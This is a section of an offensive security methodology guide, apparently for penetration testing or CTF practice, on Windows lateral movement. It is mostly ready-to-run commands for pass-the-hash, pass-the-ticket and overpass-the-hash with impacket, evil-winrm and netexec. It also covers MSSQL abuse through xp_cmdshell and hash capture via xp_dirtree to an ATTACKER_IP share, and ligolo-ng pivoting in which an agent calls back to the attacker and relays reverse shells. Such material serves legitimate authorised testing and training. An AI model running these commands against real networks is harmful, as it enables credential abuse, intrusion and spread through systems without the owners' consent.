Skip to content

11 · Lateral Movement

Use one set of compromised creds to access more machines.

Phase overview

Once you have a hash, ticket, or password, the question becomes: where else can I use it? PtH and PtT are the bread and butter; OPTH (overpass-the-hash) converts an NT hash into a usable Kerberos ticket; MSSQL is the underrated lateral path because xp_cmdshell + SeImpersonate often gives you SYSTEM in one hop.

11.1 · Pass the Hash

Why this works / how it chains

NTLM authentication doesn't need a cleartext password; the NT hash IS the secret. Tools like netexec, evil-winrm, and impacket-{psexec,wmiexec,smbexec} all accept hashes via -H or -hashes. Local administrator hash + --local-auth tries against the local SAM rather than the domain.

PtH on every protocol
# Some examples:

nxc smb <IP>/24 -u administrator -H <HASH> --local-auth

evil-winrm -i <IP> -u administrator -H <HASH>

impacket-psexec domain.local/administrator@<IP> -hashes :<HASH>

impacket-wmiexec domain.local/administrator@<IP> -hashes :<HASH>

impacket-smbexec domain.local/administrator@<IP> -hashes :<HASH>

11.2 · Pass the Ticket

Why this works / how it chains

When you have a Kerberos ticket file (.ccache), set KRB5CCNAME and use any tool with -k -no-pass. Tickets are time-limited (default 10 hours) so check expiry with klist.

PtT
export KRB5CCNAME=/path/to/ticket.ccache

impacket-psexec -k -no-pass domain.local/user@target

impacket-wmiexec -k -no-pass domain.local/user@target

11.3 · Overpass the Hash

Why this works / how it chains

Convert an NT hash into a TGT, then use the TGT for tools that only support Kerberos (or to access services where NTLM is blocked). The NT hash is used as the user's long-term Kerberos key.

Hash → TGT
impacket-getTGT domain.local/user -hashes :<HASH> -dc-ip <IP>

export KRB5CCNAME=user.ccache

11.4 · MSSQL Abuse

Why this works / how it chains

MSSQL is the most overlooked lateral path. Login with Windows auth (-windows-auth), check if you're sysadmin, enable xp_cmdshell, run commands. The MSSQL service account almost always has SeImpersonatePrivilege, so xp_cmdshell + GodPotato (Phase 12.1) = SYSTEM. Linked servers chain across DBs and even across forests.

Login (password or Kerberos)
# Some examples:

impacket-mssqlclient domain.local/user:pass@<IP> -windows-auth

# With Kerberos
KRB5CCNAME=user.ccache faketime '-7 seconds' \
  proxychains4 -q impacket-mssqlclient -k -no-pass \
  -dc-ip <DC_IP> dc.domain.local
Enable xp_cmdshell + execute
-- Some examples:

-- Check role
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');

-- Enable xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

-- Execute commands
EXEC xp_cmdshell 'whoami /priv';
-- If SeImpersonatePrivilege → Potato attack!

-- Capture NTLM hash (with Responder)
EXEC xp_dirtree '\\ATTACKER_IP\share';

-- Check linked servers
SELECT * FROM sys.servers;
EXEC ('xp_cmdshell ''whoami''') AT [linkedserver];

11.5 · Pivoting into Internal Subnets (Ligolo-ng)

Why this works / how it chains

When you compromise a dual-homed host (a web/jump box with a second NIC into 192.168.x.0/24 or a Docker 172.x.0.0/24), the AD services you actually want are on a network your attacker box can't route to. ligolo-ng solves this without SOCKS gymnastics: the agent (on the pivot) dials back to your proxy, which exposes the remote network through a local tun interface. You add a normal route and every tool, nxc, certipy, evil-winrm, bloodyAD reaches the internal subnet transparently, no proxychains prefix required.

What leads here

  • Shell/RCE on a host with a second interface into a network you can't reach
  • Outbound TCP from the pivot back to your attacker IP is allowed (default 11601)
Attacker: set up the tun interface + proxy
# One-time interface
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up

# Start the proxy (self-signed cert for the agent to trust)
./proxy -selfcert
# ligolo-ng » (session listener on :11601)
Pivot host: run the agent (upload the right OS/arch build)
# Linux pivot
./agent -connect <ATTACKER_IP>:11601 -ignore-cert &

# Windows pivot
.\agent.exe -connect <ATTACKER_IP>:11601 -ignore-cert
Attacker: select the session + route the internal subnet
# In the ligolo-ng console:
session          # pick the agent that just connected
start            # start the tunnel for that session

# Discover what the pivot can see, then route it via the tun:
sudo ip route add 192.168.100.0/24 dev ligolo
sudo ip route add 172.18.0.0/24 dev ligolo   # e.g. a Docker bridge behind the host

# Now tools work directly against internal hosts, no proxychains:
nxc smb 192.168.100.2
certipy find -u user@domain.local -p pass -dc-ip 192.168.100.10

Reverse direction, expose YOUR listener to the internal host

Need an internal box to reach back to you (reverse shell, Responder, relay)? Add a listener on the agent that forwards an internal port to your attacker box: 

# ligolo-ng console (session selected)
listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4444 --tcp
# internal victim → pivot:1234 → your nc -lvnp 4444

Leads to →

  • Reachable internal DC/services → resume Phase 1 recon against the internal subnet
  • Internal SMB/NFS/web → credential hunting and initial access from the new vantage point